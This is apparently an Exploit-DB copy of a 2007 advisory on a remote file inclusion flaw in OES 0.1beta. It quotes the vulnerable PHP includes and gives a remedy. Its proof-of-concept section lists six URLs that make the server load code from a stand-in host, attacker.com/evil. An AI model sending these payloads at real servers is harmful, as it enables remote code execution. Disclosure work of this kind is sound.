Exploit-DB #3465
Description: OES (Open Educational System) 0.1beta - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-12
Author: K-159

Exploit:
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[ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File Inclusion Vulnerability
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Author         : M.Hasran Addahroni
Date           : March, 12th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv69-K-159-2007.txt
Critical Lvl   : Dangerous
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Affected software description:
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Application   : Open Educational System 
version       : 0.1beta
Vendor        : http://openeducation.sourceforge.net
Description :

OES (Open Educational System) which is a free for use, open source, and multi-platform, multi-language and user-friendy design online e-learning platform.
The system is integrate and suitable use for any high-school, college or university

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Vulnerability:
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- Invalid include function at includes/lib-account.inc.php :  
  	
----------------includes/lib-account.inc.php-------------------
<?php
	// File        : /include/lib-account.inc.php
	//
	// Description : This library is for administrator and normal user account mangement.


	// Include the configuration file.
	include_once ( $CONF_CONFIG_PATH.'/config.inc.php' );

	// Include the main include file for running all routine.
	include_once ( $CONF_INCLUDE_PATH.'/library.inc.php' );

	// Include the ADOdb Class
	include_once ( $CONF_INCLUDE_PATH.'/adodb/adodb.inc.php');

...
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Variables $CONF_INCLUDE_PATH is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

also affected files :


includes/lib-file.inc.php
includes/lib-group.inc.php
includes/lib-log.inc.php
includes/lib-mydb.inc.php
includes/lib-template-mod.inc.php
includes/lib-themes.inc.php

Poc/Exploit:
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http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?


Solution:
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- Sanitize variable $CONF_INCLUDE_PATH on affected files.
- Turn off register_globals

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Contact:
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     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

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